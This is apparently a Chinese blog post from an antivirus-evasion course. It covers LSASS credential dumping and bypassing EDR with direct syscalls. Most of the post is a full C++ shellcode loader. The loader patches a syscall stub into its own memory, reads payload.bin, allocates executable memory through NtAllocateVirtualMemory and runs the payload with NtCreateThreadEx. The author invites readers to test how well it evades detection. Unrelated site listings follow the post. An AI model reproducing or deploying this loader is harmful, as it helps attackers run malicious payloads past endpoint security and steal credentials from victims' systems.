news 2026/6/19 19:49:37

安全工具篇动态绕过DumpLsass凭据SysCALL调用对抗EDR打乱源头特征

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
安全工具篇动态绕过DumpLsass凭据SysCALL调用对抗EDR打乱源头特征

免杀对抗——第一百六十七天

安全工具篇&动态绕过&DumpLsass凭据&SysCALL调用&对抗EDR&打乱源头特征

动态拦截 - dump lsass绕过-源头特征混淆文件

  • 接着昨天的内容,除了上述这些方法,还可以用其他的冷门项目,参考文章:Lsass Dump的50种方法

  • 然后还有就是这个Syscall调用去绕过,参考文章:【免杀】突破 360 核晶防护的 Syscall 免杀策略

  • Intel的CPU将特权等级分为4个级别——从R0到R3,R0是系统核心态,在核心态运行,拥有最高权限;R1和R2运行的是设备驱动程序;R3是用户代码态,在用户态下运行,拥有最低权限,每一层支持访问本层以及权限更低层的数据:

  • 它的免杀原理就是,能不能注入到比杀毒软件更高的特权等级运行,让杀软无法扫描检测,以此来绕过杀软或EDR:

  • 这里可以参考我们之前学的InlineHook,它的作用是隐藏DLL加载函数,让杀软找不到;而这里的Syscall是将DLL加载函数放到R0层执行,让杀软无法检测

  • 但这是属于之前的免杀思路了,也不知道gay迪怎么莫名其妙讲到了这里,代码如下:

#include"syscalls_mem.h"#include<stdio.h>#include<stdlib.h>#include<windows.h>#include<psapi.h>#include<fstream>#include<iostream>#include<vector>#include<sstream>#include<iomanip>#define_CRT_SECURE_NO_WARNINGSusing namespace std;#defineDEBUG0HMODULEGetMainModule(HANDLE);BOOLGetMainModuleInformation(PULONG64,PULONG64);voidFindAndReplace(unsignedchar[],unsignedchar[]);unsignedchar*charToUnsignedChar(constchar*str){// 获取字符串的长度intlen=strlen(str);// 为 unsigned char[] 分配内存空间unsignedchar*ustr=newunsignedchar[len+1];// 需要+1来存储字符串结束符 '\0'// 将字符复制到 unsigned char[] 中for(inti=0;i<len;++i){ustr[i]=static_cast<unsignedchar>(str[i]);}ustr[len]='\0';// 添加字符串结束符returnustr;}// 获取指定进程的主模块句柄HMODULEGetMainModule(HANDLE hProcess){HMODULE mainModule=NULL;// 主模块句柄,初始化为NULLHMODULE*lphModule;// 指向模块句柄数组的指针LPBYTE lphModuleBytes;// 指向模块句柄缓冲区的指针DWORD lpcbNeeded;// 存储模块句柄所需的缓冲区大小// 首先调用EnumProcessModules来获取存储模块句柄所需的空间大小(以字节为单位)BOOL success=EnumProcessModules(hProcess,NULL,0,&lpcbNeeded);// 我们已经知道lpcbNeeded一定大于0if(!success||lpcbNeeded==0){printf("[-] Error enumerating process modules\n");// 我们已经知道无法动态放置系统调用指令,退出exit(1);}// 一旦我们获取到存储该进程所有模块句柄所需的字节数,我们可以为其分配空间lphModuleBytes=(LPBYTE)LocalAlloc(LPTR,lpcbNeeded);if(lphModuleBytes==NULL){printf("[-] Error allocating memory to store process modules handles\n");exit(1);}unsignedintmoduleCount;moduleCount=lpcbNeeded/sizeof(HMODULE);lphModule=(HMODULE*)lphModuleBytes;success=EnumProcessModules(hProcess,lphModule,lpcbNeeded,&lpcbNeeded);if(!success){printf("[-] Error enumerating process modules\n");exit(1);}// 最后存储主模块mainModule=lphModule[0];// 避免内存泄漏LocalFree(lphModuleBytes);// 返回主模块returnmainModule;}// 获取主模块信息BOOLGetMainModuleInformation(PULONG64 startAddress,PULONG64 length){HANDLE hProcess=GetCurrentProcess();// 获取当前进程句柄HMODULE hModule=GetMainModule(hProcess);// 获取主模块句柄MODULEINFO mi;// MODULEINFO结构体GetModuleInformation(hProcess,hModule,&mi,sizeof(mi));// 获取模块信息,存储在mi中printf("Base Address: 0x%llu\n",(ULONG64)mi.lpBaseOfDll);// 输出模块加载基址printf("Image Size: %u\n",(ULONG)mi.SizeOfImage);// 输出模块映像大小printf("Entry Point: 0x%llu\n",(ULONG64)mi.EntryPoint);// 输出模块入口点printf("\n");*startAddress=(ULONG64)mi.lpBaseOfDll;// 将加载基址存储在startAddress中*length=(ULONG64)mi.SizeOfImage;// 将映像大小存储在length中DWORD oldProtect;// 将页面属性设置为可执行可读可写VirtualProtect(mi.lpBaseOfDll,mi.SizeOfImage,PAGE_EXECUTE_READWRITE,&oldProtect);return0;}voidFindAndReplace(unsignedcharegg[],unsignedcharreplace[]){ULONG64 startAddress=0;// 主模块加载基址ULONG64 size=0;// 主模块映像大小GetMainModuleInformation(&startAddress,&size);// 获取主模块信息,更新startAddress和sizeif(size<=0){printf("[-] Error detecting main module size");exit(1);}ULONG64 currentOffset=0;// 当前偏移unsignedchar*current=(unsignedchar*)malloc(8*sizeof(unsignedchar*));// 分配8字节空间size_tnBytesRead;printf("Starting search from: 0x%llu\n",(ULONG64)startAddress+currentOffset);while(currentOffset<size-8)// 循环搜索, currentOffset 的最大值为 size - 8{currentOffset++;LPVOID currentAddress=(LPVOID)(startAddress+currentOffset);// 计算当前搜索地址if(DEBUG>0){printf("Searching at 0x%llu\n",(ULONG64)currentAddress);}if(!ReadProcessMemory((HANDLE)((int)-1),currentAddress,current,8,&nBytesRead)){printf("[-] Error reading from memory\n");exit(1);}if(nBytesRead!=8){printf("[-] Error reading from memory\n");continue;}if(DEBUG>0){// 调试输出当前读取的8字节for(inti=0;i<nBytesRead;i++){printf("%02x ",current[i]);}printf("\n");}if(memcmp(egg,current,8)==0)// 如果读取的8字节与egg匹配{printf("Found at %llu\n",(ULONG64)currentAddress);// 替换为replaceWriteProcessMemory((HANDLE)((int)-1),currentAddress,replace,8,&nBytesRead);}}printf("Ended search at: 0x%llu\n",(ULONG64)startAddress+currentOffset);free(current);// 释放current分配的内存空间}unsignedcharhexCharToUnsignedChar(charhex){if('0'<=hex&&hex<='9'){returnhex-'0';}elseif('a'<=hex&&hex<='f'){returnhex-'a'+10;}elseif('A'<=hex&&hex<='F'){returnhex-'A'+10;}return0;}// 将两个十六进制字符组成的字符串转换为相应的 unsigned char 数值unsignedcharhexStringToUnsignedChar(conststd::string&hexString){if(hexString.length()!=2){return0;// 输入错误,返回0}return(hexCharToUnsignedChar(hexString[0])<<4)|hexCharToUnsignedChar(hexString[1]);}// 将十六进制字符串转换为相应的 unsigned char 数组std::stringhexStringToUnsignedCharArray(conststd::string&hexString){size_tlength=hexString.length();if(length%2!=0){return"";// 长度不是偶数,无法正确转换,返回空字符串}std::string result;for(size_ti=0;i<length;i+=2){result+=hexStringToUnsignedChar(hexString.substr(i,2));}returnresult;}/* length: 892 bytes */unsignedintcalc_len=924-32;std::stringByteToHex(unsignedcharbyte){std::ostringstream oss;oss<<std::hex<<std::uppercase<<std::setw(2)<<std::setfill('0')<<static_cast<unsignedint>(byte);returnoss.str();}std::stringBinaryToHex(conststd::vector<unsignedchar>&binaryData){std::ostringstream oss;for(unsignedcharbyte:binaryData){oss<<ByteToHex(byte);}returnoss.str();}intmain(){charfilename[]="C:\\Users\\alice\\Desktop\\aviod\\syscall2\\payload.bin";// 以读模式打开文件ifstream infile;//以二进制方式打开infile.open(filename,ios::out|ios::binary);infile.seekg(0,infile.end);//追溯到流的尾部intlength=infile.tellg();//获取流的长度infile.seekg(0,infile.beg);//回溯到流头部char*data=newchar[length];//存取文件内容if(infile.is_open()){cout<<"reading from the file"<<endl;infile.read(data,length);}cout<<"size of data ="<<sizeof(data)<<endl;cout<<"size of file ="<<length<<endl;for(inti=0;i<length;i++){printf("\\%x ",data[i]);}printf("\n");unsignedcharegg[]={0x74,0x0,0x0,0x7a,0x74,0x0,0x0,0x7a};// eggunsignedcharreplace[]={0x0f,0x05,0x90,0x90,0xC3,0x90,0xCC,0xCC};// syscall; nop; nop; ret; nop; int3; int3FindAndReplace(egg,replace);HANDLE hProc=GetCurrentProcess();DWORD oldprotect=0;PVOID base_addr=NULL;HANDLE thandle=NULL;NTSTATUS NTAVM=NtAllocateVirtualMemory(hProc,&base_addr,0,(PSIZE_T)&length,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);NTSTATUS ABM=NtWriteVirtualMemory(hProc,base_addr,data,length,0);//RtlMoveMemory(base_addr, calc_payload, calc_len);NTSTATUS ct=NtCreateThreadEx(&thandle,GENERIC_EXECUTE,NULL,hProc,base_addr,NULL,FALSE,0,0,0,NULL);WaitForSingleObject(thandle,-1);//free(base_addr);//clean up after ourselve}
  • 这个的话可以自己下去试试免杀性如何,这种思路还是值得学习的,然后这节课就比较水,也是免杀的最后一节课,差不多就这些内容

总结

  • 整个免杀课程到这里就结束了,然后下面是做的整个内容的思维导图,可以参考复习看看:
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/16 2:20:12

什么是网络安全(Cybersecurity)

文章目录 为什网络安全非常重要常见网络攻击有哪些网络安全有哪些类型 哪些领域网络安全如何工作、最佳实践网络安全挑战及趋势网络安全 vs. 信息安全 vs. 计算机安全 vs. IT安全相关方案及产品 不同组织机构对网络安全&#xff08;Cybersecurity或Cyber Security&#xff09;的…

作者头像 李华
网站建设 2026/6/10 12:02:15

网络编程 SDN

文章目录网络编程是怎么来的实现网络编程的技术有哪些网络编程的优势网络编程的未来趋势是什么网络编程是指网络设备的行为和流量控制由独立于网络硬件运行的软件处理。用户可以在控制器上编程、实现对网络的配置、控制和管理。网络编程将网络的控制平面和数据平面分离&#xf…

作者头像 李华
网站建设 2026/6/13 7:09:19

小程序毕设选题推荐:基于springboot+小程序的微信小程序高校毕业生离校管理系统高校毕业生服务管理系统小程序【附源码、mysql、文档、调试+代码讲解+全bao等】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/6/6 22:16:37

大数据可视化中的用户行为分析展示

大数据可视化中的用户行为分析展示 关键词:大数据可视化、用户行为分析、数据挖掘、交互式图表、用户画像、点击热力图、转化漏斗 摘要:本文将深入探讨如何通过大数据可视化技术展示和分析用户行为数据。我们将从基础概念讲起,逐步深入到实际应用场景,介绍各种可视化工具和…

作者头像 李华
网站建设 2026/5/28 10:48:20

【计算机毕业设计案例】基于springboot+小程序的高校毕业生服务管理系统小程序基于微信小程序的大学生就业管理系统设计与实现(程序+文档+讲解+定制)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/6/10 21:47:07

SPI 这么玩就很优雅!

八股文背多了&#xff0c;相信大家都听说过一个词&#xff0c;SPI 扩展。 有的面试官就很喜欢问这个问题&#xff0c;SpringBoot 的自动装配是如何实现的&#xff1f; 基本上&#xff0c;你一说是基于 spring 的 SPI 扩展机制&#xff0c;再把spring.factories文件和EnableAu…

作者头像 李华